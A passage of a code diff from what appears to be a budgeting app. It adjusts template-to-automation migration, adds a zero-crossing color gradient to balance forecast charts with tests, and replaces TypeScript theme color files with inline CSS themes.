t => t.type !== 'limit' && t.type !== 'goal' && t.type !== 'error',
|
||||
)
|
||||
) {
|
||||
return { kind: 'limit-no-contributor' };
|
||||
}
|
||||
return null;
|
||||
case 'percentage':
|
||||
if (template.type !== 'percentage') return null;
|
||||
if (!template.category) return { kind: 'percentage-no-source' };
|
||||
|
||||
@@ -3,6 +3,7 @@ import { useTranslation } from 'react-i18next';
|
||||
import { SvgAlertTriangle } from '@actual-app/components/icons/v2';
|
||||
import { Text } from '@actual-app/components/text';
|
||||
import { theme } from '@actual-app/components/theme';
|
||||
import { Tooltip } from '@actual-app/components/tooltip';
|
||||
import { View } from '@actual-app/components/view';
|
||||
|
||||
import type { AutomationEntry } from '#components/budget/goals/automationExamples';
|
||||
@@ -126,18 +127,24 @@ export function AutomationListRow({
|
||||
/>
|
||||
)}
|
||||
</View>
|
||||
<Text
|
||||
style={{
|
||||
fontSize: 11,
|
||||
color: subtitleColor,
|
||||
overflow: 'hidden',
|
||||
textOverflow: 'ellipsis',
|
||||
whiteSpace: 'nowrap',
|
||||
display: 'block',
|
||||
}}
|
||||
<Tooltip
|
||||
content={
|
||||
<Text style={{ display: 'block', maxWidth: 320 }}>{subtitle}</Text>
|
||||
}
|
||||
>
|
||||
{subtitle}
|
||||
</Text>
|
||||
<Text
|
||||
style={{
|
||||
fontSize: 11,
|
||||
color: subtitleColor,
|
||||
overflow: 'hidden',
|
||||
textOverflow: 'ellipsis',
|
||||
whiteSpace: 'nowrap',
|
||||
display: 'block',
|
||||
}}
|
||||
>
|
||||
{subtitle}
|
||||
</Text>
|
||||
</Tooltip>
|
||||
</View>
|
||||
{!NON_CONTRIBUTION_TYPES.has(entry.displayType) && (
|
||||
<View
|
||||
|
||||
@@ -100,6 +100,31 @@ describe('migrateTemplatesToAutomations', () => {
|
||||
});
|
||||
});
|
||||
|
||||
it('expands `#template 0 up to N` into limit + fixed-zero (not refill)', () => {
|
||||
const simpleTemplate = {
|
||||
type: 'simple',
|
||||
directive: 'template',
|
||||
priority: 4,
|
||||
monthly: 0,
|
||||
limit: {
|
||||
amount: 1000,
|
||||
hold: false,
|
||||
period: 'monthly',
|
||||
},
|
||||
} satisfies Template;
|
||||
|
||||
const result = migrateTemplatesToAutomations([simpleTemplate]);
|
||||
|
||||
expect(result).toHaveLength(2);
|
||||
expect(result.map(entry => entry.displayType)).toEqual(['limit', 'fixed']);
|
||||
expect(result[1].template).toMatchObject({
|
||||
type: 'periodic',
|
||||
amount: 0,
|
||||
directive: 'template',
|
||||
priority: 4,
|
||||
});
|
||||
});
|
||||
|
||||
it('expands a simple template with both limit and monthly into limit + periodic (no implicit refill)', () => {
|
||||
// `#template 20 up to 200 per week` budgets 20/month and caps at the
|
||||
// limit — the engine's runSimple returns just the monthly value, so
|
||||
|
||||
@@ -47,7 +47,8 @@ export function migrateTemplatesToAutomations(
|
||||
templates.forEach(template => {
|
||||
if (template.type === 'simple') {
|
||||
const monthly = template.monthly;
|
||||
const hasMonthly = monthly != null && monthly !== 0;
|
||||
const hasMonthly =
|
||||
monthly != null && (monthly !== 0 || template.limit != null);
|
||||
|
||||
if (template.limit) {
|
||||
entries.push(
|
||||
@@ -64,10 +65,7 @@ export function migrateTemplatesToAutomations(
|
||||
'limit',
|
||||
),
|
||||
);
|
||||
// The implicit refill only applies to a limit-only simple template
|
||||
// (e.g. `#template up to 200`). When a monthly amount is also set
|
||||
// (`#template 50 up to 200`), the engine just budgets the monthly
|
||||
// amount and clamps to the cap — no top-up to the limit.
|
||||
|
||||
if (!hasMonthly) {
|
||||
entries.push(
|
||||
createAutomationEntry(
|
||||
@@ -81,6 +79,7 @@ export function migrateTemplatesToAutomations(
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
if (hasMonthly) {
|
||||
entries.push(
|
||||
createAutomationEntry(
|
||||
|
||||
@@ -46,6 +46,7 @@ import { useDispatch } from '#redux';
|
||||
import {
|
||||
buildBalanceForecastChartData,
|
||||
countForecastScheduledOccurrences,
|
||||
getZeroCrossingGradientOffset,
|
||||
} from './balanceForecastChartData';
|
||||
|
||||
export function BalanceForecast() {
|
||||
@@ -280,6 +281,7 @@ function BalanceForecastInner({ widget }: BalanceForecastInnerProps) {
|
||||
|
||||
const lowestPoint = forecastData?.lowestBalance;
|
||||
const hasNegativeBalance = chartData.some(d => d.balance < 0);
|
||||
const zeroCrossingGradientOffset = getZeroCrossingGradientOffset(chartData);
|
||||
const todayReferenceDate =
|
||||
granularity === 'Daily'
|
||||
? monthUtils.currentDay()
|
||||
@@ -384,6 +386,37 @@ function BalanceForecastInner({ widget }: BalanceForecastInnerProps) {
|
||||
data={chartData}
|
||||
margin={{ top: 10, right: 10, left: 5, bottom: 10 }}
|
||||
>
|
||||
<defs>
|
||||
<linearGradient
|
||||
id="balance-forecast-line-gradient"
|
||||
x1="0"
|
||||
y1="0"
|
||||
x2="0"
|
||||
y2="1"
|
||||
>
|
||||
{zeroCrossingGradientOffset == null ? (
|
||||
<stop
|
||||
offset="0%"
|
||||
stopColor={
|
||||
hasNegativeBalance
|
||||
? theme.errorText
|
||||
: theme.noticeText
|
||||
}
|
||||
/>
|
||||
) : (
|
||||
<>
|
||||
<stop
|
||||
offset={`${zeroCrossingGradientOffset}%`}
|
||||
stopColor={theme.noticeText}
|
||||
/>
|
||||
<stop
|
||||
offset={`${zeroCrossingGradientOffset}%`}
|
||||
stopColor={theme.errorText}
|
||||
/>
|
||||
</>
|
||||
)}
|
||||
</linearGradient>
|
||||
</defs>
|
||||
<CartesianGrid strokeDasharray="3 3" />
|
||||
<XAxis
|
||||
dataKey="date"
|
||||
@@ -461,14 +494,13 @@ function BalanceForecastInner({ widget }: BalanceForecastInnerProps) {
|
||||
}}
|
||||
/>
|
||||
)}
|
||||
{hasNegativeBalance && (
|
||||
<ReferenceLine y={0} stroke={theme.pageTextSubdued} />
|
||||
)}
|
||||
<Line
|
||||
type="monotone"
|
||||
dataKey="balance"
|
||||
stroke={
|
||||
hasNegativeBalance
|
||||
? theme.errorText
|
||||
: theme.noticeText
|
||||
}
|
||||
stroke="url(#balance-forecast-line-gradient)"
|
||||
strokeWidth={2}
|
||||
dot={false}
|
||||
activeDot={{ r: 6 }}
|
||||
|
||||
@@ -33,6 +33,7 @@ import { useFormat } from '#hooks/useFormat';
|
||||
import {
|
||||
buildBalanceForecastChartData,
|
||||
countForecastScheduledOccurrences,
|
||||
getZeroCrossingGradientOffset,
|
||||
} from './balanceForecastChartData';
|
||||
|
||||
type BalanceForecastCardProps = {
|
||||
@@ -123,6 +124,9 @@ export function BalanceForecastCard({
|
||||
end: chartRange.end,
|
||||
granularity: 'Monthly',
|
||||
});
|
||||
const hasNegativeBalance = chartData.some(d => d.balance < 0);
|
||||
const zeroCrossingGradientOffset = getZeroCrossingGradientOffset(chartData);
|
||||
const gradientId = `balance-forecast-card-line-gradient-${widgetId}`;
|
||||
const isUpdatingForecast = isFetching && isPlaceholderData;
|
||||
const todayReferenceDate = monthUtils.currentMonth();
|
||||
const showsTodayReferenceLine = chartData.some(
|
||||
@@ -234,6 +238,37 @@ export function BalanceForecastCard({
|
||||
data={chartData}
|
||||
margin={{ top: 5, right: 5, left: 5, bottom: 5 }}
|
||||
>
|
||||
<defs>
|
||||
<linearGradient
|
||||
id={gradientId}
|
||||
x1="0"
|
||||
y1="0"
|
||||
x2="0"
|
||||
y2="1"
|
||||
>
|
||||
{zeroCrossingGradientOffset == null ? (
|
||||
<stop
|
||||
offset="0%"
|
||||
stopColor={
|
||||
hasNegativeBalance
|
||||
? theme.errorText
|
||||
: theme.noticeText
|
||||
}
|
||||
/>
|
||||
) : (
|
||||
<>
|
||||
<stop
|
||||
offset={`${zeroCrossingGradientOffset}%`}
|
||||
stopColor={theme.noticeText}
|
||||
/>
|
||||
<stop
|
||||
offset={`${zeroCrossingGradientOffset}%`}
|
||||
stopColor={theme.errorText}
|
||||
/>
|
||||
</>
|
||||
)}
|
||||
</linearGradient>
|
||||
</defs>
|
||||
<Tooltip
|
||||
isAnimationActive={false}
|
||||
content={({ active, payload }) => {
|
||||
@@ -272,10 +307,13 @@ export function BalanceForecastCard({
|
||||
strokeDasharray="4 4"
|
||||
/>
|
||||
)}
|
||||
{hasNegativeBalance && (
|
||||
<ReferenceLine y={0} stroke={theme.pageTextSubdued} />
|
||||
)}
|
||||
<Line
|
||||
type="monotone"
|
||||
dataKey="balance"
|
||||
stroke={hasNegative ? theme.errorText : theme.noticeText}
|
||||
stroke={`url(#${gradientId})`}
|
||||
strokeWidth={2}
|
||||
dot={false}
|
||||
activeDot={{ r: 4 }}
|
||||
|
||||
@@ -3,6 +3,7 @@ import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
buildBalanceForecastChartData,
|
||||
countForecastScheduledOccurrences,
|
||||
getZeroCrossingGradientOffset,
|
||||
} from './balanceForecastChartData';
|
||||
|
||||
describe('buildBalanceForecastChartData', () => {
|
||||
@@ -257,3 +258,23 @@ describe('countForecastScheduledOccurrences', () => {
|
||||
expect(count).toBe(2);
|
||||
});
|
||||
});
|
||||
|
||||
describe('getZeroCrossingGradientOffset', () => {
|
||||
it('returns the zero threshold offset when balances cross zero', () => {
|
||||
expect(
|
||||
getZeroCrossingGradientOffset([
|
||||
{ date: '2024-03', balance: 100 },
|
||||
{ date: '2024-04', balance: -100 },
|
||||
]),
|
||||
).toBe(50);
|
||||
});
|
||||
|
||||
it('returns null when balances do not cross zero', () => {
|
||||
expect(
|
||||
getZeroCrossingGradientOffset([
|
||||
{ date: '2024-03', balance: 100 },
|
||||
{ date: '2024-04', balance: 50 },
|
||||
]),
|
||||
).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
@@ -128,3 +128,19 @@ export function countForecastScheduledOccurrences(
|
||||
|
||||
return occurrenceKeys.size;
|
||||
}
|
||||
|
||||
export function getZeroCrossingGradientOffset(chartData: ChartDataPoint[]) {
|
||||
if (chartData.length === 0) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const balances = chartData.map(point => point.balance);
|
||||
const minBalance = Math.min(...balances);
|
||||
const maxBalance = Math.max(...balances);
|
||||
|
||||
if (minBalance >= 0 || maxBalance <= 0) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return (maxBalance / (maxBalance - minBalance)) * 100;
|
||||
}
|
||||
|
||||
@@ -220,6 +220,7 @@ export function AmountInput({
|
||||
onFocus={e => {
|
||||
setIsFocused(true);
|
||||
setValue(format.forEdit(Math.abs(initialValue ?? 0)));
|
||||
setTimeout(() => innerRef.current?.select(), 0);
|
||||
onFocus?.(e);
|
||||
}}
|
||||
onBlur={e => {
|
||||
|
||||
@@ -1,96 +0,0 @@
|
||||
// Only for use in contextual color definitions
|
||||
export const gray50 = '#f6f8fa';
|
||||
export const gray80 = '#f0f4f6';
|
||||
export const gray100 = '#e8ecf0';
|
||||
export const gray150 = '#d4dae0';
|
||||
export const gray200 = '#bdc5cf';
|
||||
export const gray300 = '#98a1ae';
|
||||
export const gray400 = '#747c8b';
|
||||
export const gray500 = '#4d5768';
|
||||
export const gray600 = '#373b4a';
|
||||
export const gray700 = '#242733';
|
||||
export const gray800 = '#141520';
|
||||
export const gray900 = '#080811';
|
||||
export const navy50 = '#f7fafc';
|
||||
export const navy100 = '#e8ecf0';
|
||||
export const navy150 = '#d9e2ec';
|
||||
export const navy200 = '#bcccdc';
|
||||
export const navy300 = '#9fb3c8';
|
||||
export const navy400 = '#829ab1';
|
||||
export const navy500 = '#627d98';
|
||||
export const navy600 = '#486581';
|
||||
export const navy700 = '#334e68';
|
||||
export const navy800 = '#243b53';
|
||||
export const navy900 = '#102a43';
|
||||
export const blue50 = '#f5fcff';
|
||||
export const blue100 = '#e3f0ff';
|
||||
export const blue150 = '#b3d9ff';
|
||||
export const blue200 = '#8bcafd';
|
||||
export const blue300 = '#66b5fa';
|
||||
export const blue400 = '#40a5f7';
|
||||
export const blue500 = '#2b8fed';
|
||||
export const blue600 = '#1980d4';
|
||||
export const blue700 = '#1271bf';
|
||||
export const blue800 = '#0b5fa3';
|
||||
export const blue900 = '#034388';
|
||||
export const green50 = '#fafffd';
|
||||
export const green100 = '#effcf6';
|
||||
export const green150 = '#c6f7e2';
|
||||
export const green200 = '#8eedc7';
|
||||
export const green300 = '#65d6ad';
|
||||
export const green400 = '#3ebd93';
|
||||
export const green500 = '#27ab83';
|
||||
export const green600 = '#199473';
|
||||
export const green700 = '#147d64';
|
||||
export const green800 = '#0c6b58';
|
||||
export const green900 = '#014d40';
|
||||
export const orange50 = '#fffefa';
|
||||
export const orange100 = '#fffbea';
|
||||
export const orange150 = '#fff7c4';
|
||||
export const orange200 = '#fcf088';
|
||||
export const orange300 = '#f5e35d';
|
||||
export const orange400 = '#f2d047';
|
||||
export const orange500 = '#e6bb20';
|
||||
export const orange600 = '#d4a31c';
|
||||
export const orange700 = '#b88115';
|
||||
export const orange800 = '#87540d';
|
||||
export const orange900 = '#733309';
|
||||
export const red50 = '#fff1f1';
|
||||
export const red100 = '#ffe3e3';
|
||||
export const red150 = '#ffbdbd';
|
||||
export const red200 = '#ff9b9b';
|
||||
export const red300 = '#f86a6a';
|
||||
export const red400 = '#ef4e4e';
|
||||
export const red500 = '#e12d39';
|
||||
export const red600 = '#cf1124';
|
||||
export const red700 = '#ab091e';
|
||||
export const red800 = '#8a041a';
|
||||
export const red900 = '#610316';
|
||||
export const purple50 = '#f9f6fe';
|
||||
export const purple100 = '#f2ebfe';
|
||||
export const purple125 = '#e4d4ff';
|
||||
export const purple150 = '#dac4ff';
|
||||
export const purple200 = '#b990ff';
|
||||
export const purple300 = '#a368fc';
|
||||
export const purple400 = '#9446ed';
|
||||
export const purple500 = '#8719e0';
|
||||
export const purple600 = '#7a0ecc';
|
||||
export const purple700 = '#690cb0';
|
||||
export const purple800 = '#580a94';
|
||||
export const purple900 = '#44056e';
|
||||
export const white = '#ffffff';
|
||||
export const black = '#000000';
|
||||
export const hover = '#fafafa';
|
||||
export const border = '#e8ecf0';
|
||||
export const selected = '#b3d9ff';
|
||||
|
||||
// Chart colors - Qualitative scale (9 colors)
|
||||
export const chartQual1 = '#45B29D'; // Dark Teal
|
||||
export const chartQual2 = '#EFC94C'; // Yellow
|
||||
export const chartQual3 = '#E27A3F'; // Orange
|
||||
export const chartQual4 = '#DF5A49'; // Light Red
|
||||
export const chartQual5 = '#5F91B8'; // Blue
|
||||
export const chartQual6 = '#E2A37F'; // Peach
|
||||
export const chartQual7 = '#55DBC1'; // Light Teal
|
||||
export const chartQual8 = '#EFDA97'; // Light Yellow
|
||||
export const chartQual9 = '#DF948A'; // Light Red
|
||||
@@ -1,5 +1,9 @@
|
||||
import { useEffect, useMemo, useState } from 'react';
|
||||
|
||||
import darkThemeCss from '@actual-app/components/themes/dark.css?inline';
|
||||
import lightThemeCss from '@actual-app/components/themes/light.css?inline';
|
||||
import midnightThemeCss from '@actual-app/components/themes/midnight.css?inline';
|
||||
import paletteCss from '@actual-app/components/themes/palette.css?inline';
|
||||
import type { DarkTheme, Theme } from '@actual-app/core/types/prefs';
|
||||
|
||||
import { useGlobalPref } from '#hooks/useGlobalPref';
|
||||
@@ -10,15 +14,12 @@ import {
|
||||
validateThemeCss,
|
||||
} from './customThemes';
|
||||
import type { BaseTheme } from './customThemes';
|
||||
import * as darkTheme from './themes/dark';
|
||||
import * as lightTheme from './themes/light';
|
||||
import * as midnightTheme from './themes/midnight';
|
||||
|
||||
const themes = {
|
||||
light: { name: 'Light', colors: lightTheme },
|
||||
dark: { name: 'Dark', colors: darkTheme },
|
||||
midnight: { name: 'Midnight', colors: midnightTheme },
|
||||
auto: { name: 'System default', colors: darkTheme },
|
||||
light: { name: 'Light', colors: lightThemeCss },
|
||||
dark: { name: 'Dark', colors: darkThemeCss },
|
||||
midnight: { name: 'Midnight', colors: midnightThemeCss },
|
||||
auto: { name: 'System default', colors: darkThemeCss },
|
||||
} as const;
|
||||
|
||||
type ThemeKey = keyof typeof themes;
|
||||
@@ -100,9 +101,7 @@ export function ThemeStyle() {
|
||||
const [installedCustomDarkThemeJson] = useGlobalPref(
|
||||
'installedCustomDarkTheme',
|
||||
);
|
||||
const [themeColors, setThemeColors] = useState<
|
||||
typeof lightTheme | typeof darkTheme | typeof midnightTheme | undefined
|
||||
>(undefined);
|
||||
const [themeColors, setThemeColors] = useState<string | undefined>(undefined);
|
||||
|
||||
useEffect(() => {
|
||||
if (activeTheme === 'auto') {
|
||||
@@ -166,10 +165,12 @@ export function ThemeStyle() {
|
||||
|
||||
if (!themeColors) return null;
|
||||
|
||||
const css = Object.entries(themeColors)
|
||||
.map(([key, value]) => ` --color-${key}: ${value};`)
|
||||
.join('\n');
|
||||
return <style>{`:root {\n${css}}`}</style>;
|
||||
return (
|
||||
<>
|
||||
<style>{paletteCss}</style>
|
||||
<style>{themeColors}</style>
|
||||
</>
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
@@ -1,249 +0,0 @@
|
||||
import * as colorPalette from '#style/palette';
|
||||
|
||||
export const pageBackground = colorPalette.gray900;
|
||||
export const pageBackgroundModalActive = colorPalette.gray800;
|
||||
export const pageBackgroundTopLeft = colorPalette.navy800;
|
||||
export const pageBackgroundBottomRight = colorPalette.gray700;
|
||||
export const pageBackgroundLineTop = colorPalette.purple400;
|
||||
export const pageBackgroundLineMid = colorPalette.navy900;
|
||||
export const pageBackgroundLineBottom = colorPalette.navy150;
|
||||
export const pageText = colorPalette.navy150;
|
||||
export const pageTextLight = colorPalette.navy300;
|
||||
export const pageTextSubdued = colorPalette.navy500;
|
||||
export const pageTextDark = colorPalette.navy100;
|
||||
export const pageTextPositive = colorPalette.purple200;
|
||||
export const pageTextLink = colorPalette.purple400;
|
||||
export const pageTextLinkLight = colorPalette.purple200;
|
||||
|
||||
export const cardBackground = colorPalette.gray800;
|
||||
export const cardBorder = colorPalette.purple400;
|
||||
export const cardShadow = colorPalette.navy700;
|
||||
|
||||
export const tableBackground = colorPalette.navy800;
|
||||
export const tableRowBackgroundHover = colorPalette.navy700;
|
||||
export const tableText = colorPalette.navy150;
|
||||
export const tableTextLight = tableText;
|
||||
export const tableTextSubdued = colorPalette.navy500;
|
||||
export const tableTextSelected = colorPalette.navy150;
|
||||
export const tableTextHover = colorPalette.navy400;
|
||||
export const tableTextInactive = colorPalette.navy500;
|
||||
export const tableHeaderText = colorPalette.navy300;
|
||||
export const tableHeaderBackground = colorPalette.navy700;
|
||||
export const tableBorder = colorPalette.navy600;
|
||||
export const tableBorderSelected = colorPalette.purple400;
|
||||
export const tableBorderHover = colorPalette.purple300;
|
||||
export const tableBorderSeparator = colorPalette.navy400;
|
||||
export const tableRowBackgroundHighlight = colorPalette.purple800;
|
||||
export const tableRowBackgroundHighlightText = colorPalette.navy150;
|
||||
export const tableRowHeaderBackground = colorPalette.navy700;
|
||||
export const tableRowHeaderText = colorPalette.navy150;
|
||||
|
||||
export const numberPositive = colorPalette.green300;
|
||||
export const numberNegative = colorPalette.red200;
|
||||
export const numberNeutral = colorPalette.navy500;
|
||||
export const budgetNumberNegative = numberNegative;
|
||||
export const budgetNumberZero = tableTextSubdued;
|
||||
export const budgetNumberNeutral = tableText;
|
||||
export const budgetNumberPositive = budgetNumberNeutral;
|
||||
export const templateNumberFunded = numberPositive;
|
||||
export const templateNumberUnderFunded = colorPalette.orange300;
|
||||
export const toBudgetPositive = numberPositive;
|
||||
export const toBudgetZero = numberPositive;
|
||||
export const toBudgetNegative = budgetNumberNegative;
|
||||
|
||||
export const sidebarBackground = colorPalette.navy900;
|
||||
export const sidebarItemBackgroundPending = colorPalette.orange200;
|
||||
export const sidebarItemBackgroundPositive = colorPalette.green500;
|
||||
export const sidebarItemBackgroundFailed = colorPalette.red300;
|
||||
export const sidebarItemAccentSelected = colorPalette.purple200;
|
||||
export const sidebarItemBackgroundHover = colorPalette.navy700;
|
||||
export const sidebarItemText = colorPalette.navy150;
|
||||
export const sidebarItemTextSelected = colorPalette.purple200;
|
||||
export const sidebarBudgetName = colorPalette.navy300;
|
||||
|
||||
export const menuBackground = colorPalette.navy800;
|
||||
export const menuItemBackground = colorPalette.navy800;
|
||||
export const menuItemBackgroundHover = colorPalette.navy500;
|
||||
export const menuItemText = colorPalette.navy100;
|
||||
export const menuItemTextHover = colorPalette.navy50;
|
||||
export const menuItemTextSelected = colorPalette.purple400;
|
||||
export const menuItemTextHeader = colorPalette.purple200;
|
||||
export const menuBorder = colorPalette.navy900;
|
||||
export const menuBorderHover = colorPalette.purple400;
|
||||
export const menuKeybindingText = colorPalette.purple200;
|
||||
export const menuAutoCompleteBackground = colorPalette.navy900;
|
||||
export const menuAutoCompleteBackgroundHover = colorPalette.navy600;
|
||||
export const menuAutoCompleteText = colorPalette.navy200;
|
||||
export const menuAutoCompleteTextHeader = colorPalette.purple200;
|
||||
export const menuAutoCompleteItemText = menuItemText;
|
||||
|
||||
export const modalBackground = colorPalette.gray800;
|
||||
export const modalBorder = colorPalette.navy600;
|
||||
export const mobileHeaderBackground = colorPalette.purple800;
|
||||
export const mobileHeaderText = colorPalette.navy150;
|
||||
export const mobileHeaderTextSubdued = colorPalette.gray200;
|
||||
export const mobileHeaderTextHover = 'rgba(200, 200, 200, .15)';
|
||||
export const mobilePageBackground = colorPalette.navy700;
|
||||
export const mobileNavBackground = colorPalette.navy800;
|
||||
export const mobileNavItem = colorPalette.navy150;
|
||||
export const mobileNavItemSelected = colorPalette.purple400;
|
||||
export const mobileAccountShadow = cardShadow;
|
||||
export const mobileAccountText = colorPalette.blue800;
|
||||
export const mobileTransactionSelected = colorPalette.purple400;
|
||||
|
||||
// Mobile view themes (for the top bar)
|
||||
export const mobileViewTheme = mobileHeaderBackground;
|
||||
export const mobileConfigServerViewTheme = colorPalette.purple500;
|
||||
|
||||
export const markdownNormal = colorPalette.purple700;
|
||||
export const markdownDark = colorPalette.purple500;
|
||||
export const markdownLight = colorPalette.purple800;
|
||||
|
||||
// Button
|
||||
export const buttonMenuText = colorPalette.navy200;
|
||||
export const buttonMenuTextHover = buttonMenuText;
|
||||
export const buttonMenuBackground = 'transparent';
|
||||
export const buttonMenuBackgroundHover = 'rgba(200, 200, 200, .25)';
|
||||
export const buttonMenuBorder = colorPalette.navy500;
|
||||
export const buttonMenuSelectedText = colorPalette.green800;
|
||||
export const buttonMenuSelectedTextHover = colorPalette.orange800;
|
||||
export const buttonMenuSelectedBackground = colorPalette.orange200;
|
||||
export const buttonMenuSelectedBackgroundHover = colorPalette.orange300;
|
||||
export const buttonMenuSelectedBorder = buttonMenuSelectedBackground;
|
||||
|
||||
export const buttonPrimaryText = colorPalette.white;
|
||||
export const buttonPrimaryTextHover = buttonPrimaryText;
|
||||
export const buttonPrimaryBackground = colorPalette.purple400;
|
||||
export const buttonPrimaryBackgroundHover = colorPalette.purple600;
|
||||
export const buttonPrimaryBorder = buttonPrimaryBackground;
|
||||
export const buttonPrimaryShadow = 'rgba(0, 0, 0, 0.6)';
|
||||
export const buttonPrimaryDisabledText = colorPalette.navy700;
|
||||
export const buttonPrimaryDisabledBackground = colorPalette.navy400;
|
||||
export const buttonPrimaryDisabledBorder = buttonPrimaryDisabledBackground;
|
||||
|
||||
export const buttonNormalText = colorPalette.navy150;
|
||||
export const buttonNormalTextHover = colorPalette.navy150;
|
||||
export const buttonNormalBackground = colorPalette.navy800;
|
||||
export const buttonNormalBackgroundHover = colorPalette.navy600;
|
||||
export const buttonNormalBorder = colorPalette.navy300;
|
||||
export const buttonNormalShadow = 'rgba(0, 0, 0, 0.4)';
|
||||
export const buttonNormalSelectedText = colorPalette.white;
|
||||
export const buttonNormalSelectedBackground = colorPalette.purple600;
|
||||
export const buttonNormalDisabledText = colorPalette.navy500;
|
||||
export const buttonNormalDisabledBackground = colorPalette.navy800;
|
||||
export const buttonNormalDisabledBorder = colorPalette.navy500;
|
||||
|
||||
export const calendarText = colorPalette.navy50;
|
||||
export const calendarBackground = colorPalette.navy900;
|
||||
export const calendarItemText = colorPalette.navy150;
|
||||
export const calendarItemBackground = colorPalette.navy800;
|
||||
export const calendarSelectedBackground = buttonNormalSelectedBackground;
|
||||
|
||||
export const buttonBareText = buttonNormalText;
|
||||
export const buttonBareTextHover = buttonNormalText;
|
||||
export const buttonBareBackground = 'transparent';
|
||||
export const buttonBareBackgroundHover = 'rgba(200, 200, 200, .3)';
|
||||
export const buttonBareBackgroundActive = 'rgba(200, 200, 200, .5)';
|
||||
export const buttonBareDisabledText = buttonNormalDisabledText;
|
||||
export const buttonBareDisabledBackground = buttonBareBackground;
|
||||
|
||||
export const noticeBackground = colorPalette.green800;
|
||||
export const noticeBackgroundLight = colorPalette.green900;
|
||||
export const noticeBackgroundDark = colorPalette.green500;
|
||||
export const noticeText = colorPalette.green300;
|
||||
export const noticeTextLight = colorPalette.green500;
|
||||
export const noticeTextDark = colorPalette.green150;
|
||||
export const noticeTextMenu = colorPalette.green500;
|
||||
export const noticeBorder = colorPalette.green800;
|
||||
export const warningBackground = colorPalette.orange800;
|
||||
export const warningText = colorPalette.orange300;
|
||||
export const warningTextLight = colorPalette.orange500;
|
||||
export const warningTextDark = colorPalette.orange100;
|
||||
export const warningBorder = colorPalette.orange500;
|
||||
export const errorBackground = colorPalette.red800;
|
||||
export const errorText = colorPalette.red200;
|
||||
export const errorTextDark = colorPalette.red150;
|
||||
export const errorTextDarker = errorTextDark;
|
||||
export const errorTextMenu = colorPalette.red200;
|
||||
export const errorBorder = colorPalette.red500;
|
||||
export const upcomingBackground = colorPalette.purple700;
|
||||
export const upcomingText = colorPalette.purple100;
|
||||
export const upcomingBorder = tableBorder;
|
||||
|
||||
export const formLabelText = colorPalette.purple150;
|
||||
export const formLabelBackground = colorPalette.blue900;
|
||||
export const formInputBackground = colorPalette.navy800;
|
||||
export const formInputBackgroundSelected = colorPalette.navy700;
|
||||
export const formInputBackgroundSelection = colorPalette.purple400;
|
||||
export const formInputBorder = colorPalette.navy600;
|
||||
export const formInputTextReadOnlySelection = colorPalette.navy800;
|
||||
export const formInputBorderSelected = colorPalette.purple400;
|
||||
export const formInputText = colorPalette.navy150;
|
||||
export const formInputTextSelected = colorPalette.black;
|
||||
export const formInputTextPlaceholder = colorPalette.navy150;
|
||||
export const formInputTextPlaceholderSelected = colorPalette.navy100;
|
||||
export const formInputTextSelection = colorPalette.navy800;
|
||||
export const formInputShadowSelected = colorPalette.purple200;
|
||||
export const formInputTextHighlight = colorPalette.purple400;
|
||||
export const checkboxText = tableText;
|
||||
export const checkboxBackgroundSelected = colorPalette.purple300;
|
||||
export const checkboxBorderSelected = colorPalette.purple300;
|
||||
export const checkboxShadowSelected = colorPalette.purple500;
|
||||
export const checkboxToggleBackground = colorPalette.gray700;
|
||||
export const checkboxToggleBackgroundSelected = colorPalette.purple300;
|
||||
export const checkboxToggleDisabled = colorPalette.gray400;
|
||||
|
||||
export const pillBackground = colorPalette.navy800;
|
||||
export const pillBackgroundLight = colorPalette.navy900;
|
||||
export const pillText = colorPalette.navy200;
|
||||
export const pillTextHighlighted = colorPalette.purple200;
|
||||
export const pillBorder = colorPalette.navy700;
|
||||
export const pillBorderDark = pillBorder;
|
||||
export const pillBackgroundSelected = colorPalette.purple600;
|
||||
export const pillTextSelected = colorPalette.navy150;
|
||||
export const pillBorderSelected = colorPalette.purple400;
|
||||
export const pillTextSubdued = colorPalette.navy500;
|
||||
|
||||
export const reportsRed = colorPalette.red300;
|
||||
export const reportsBlue = colorPalette.blue400;
|
||||
export const reportsGreen = colorPalette.green400;
|
||||
export const reportsGray = colorPalette.gray400;
|
||||
export const reportsLabel = pageText;
|
||||
export const reportsInnerLabel = colorPalette.navy800;
|
||||
export const reportsNumberPositive = numberPositive;
|
||||
export const reportsNumberNegative = numberNegative;
|
||||
export const reportsNumberNeutral = numberNeutral;
|
||||
export const reportsChartFill = reportsNumberPositive;
|
||||
|
||||
export const noteTagBackground = colorPalette.purple700;
|
||||
export const noteTagBackgroundHover = colorPalette.purple500;
|
||||
export const noteTagDefault = colorPalette.purple700;
|
||||
export const noteTagText = colorPalette.purple100;
|
||||
|
||||
export const budgetOtherMonth = colorPalette.navy900;
|
||||
export const budgetCurrentMonth = tableBackground;
|
||||
export const budgetHeaderOtherMonth = colorPalette.navy800;
|
||||
export const budgetHeaderCurrentMonth = tableHeaderBackground;
|
||||
|
||||
export const floatingActionBarBackground = colorPalette.purple800;
|
||||
export const floatingActionBarBorder = floatingActionBarBackground;
|
||||
export const floatingActionBarText = colorPalette.navy150;
|
||||
|
||||
export const tooltipText = colorPalette.navy100;
|
||||
export const tooltipBackground = colorPalette.navy800;
|
||||
export const tooltipBorder = colorPalette.navy700;
|
||||
|
||||
export const calendarCellBackground = colorPalette.navy900;
|
||||
|
||||
export const overlayBackground = 'rgba(0, 0, 0, 0.3)';
|
||||
|
||||
// Chart colors - Qualitative scale (9 colors)
|
||||
export const chartQual1 = colorPalette.chartQual1;
|
||||
export const chartQual2 = colorPalette.chartQual2;
|
||||
export const chartQual3 = colorPalette.chartQual3;
|
||||
export const chartQual4 = colorPalette.chartQual4;
|
||||
export const chartQual5 = colorPalette.chartQual5;
|
||||
export const chartQual6 = colorPalette.chartQual6;
|
||||
export const chartQual7 = colorPalette.chartQual7;
|
||||
export const chartQual8 = colorPalette.chartQual8;
|
||||
export const chartQual9 = colorPalette.chartQual9;
|
||||
@@ -1,251 +0,0 @@
|
||||
import * as colorPalette from '#style/palette';
|
||||
|
||||
export const pageBackground = colorPalette.navy100;
|
||||
export const pageBackgroundModalActive = colorPalette.navy200;
|
||||
export const pageBackgroundTopLeft = colorPalette.navy100;
|
||||
export const pageBackgroundBottomRight = colorPalette.blue150;
|
||||
export const pageBackgroundLineTop = colorPalette.white;
|
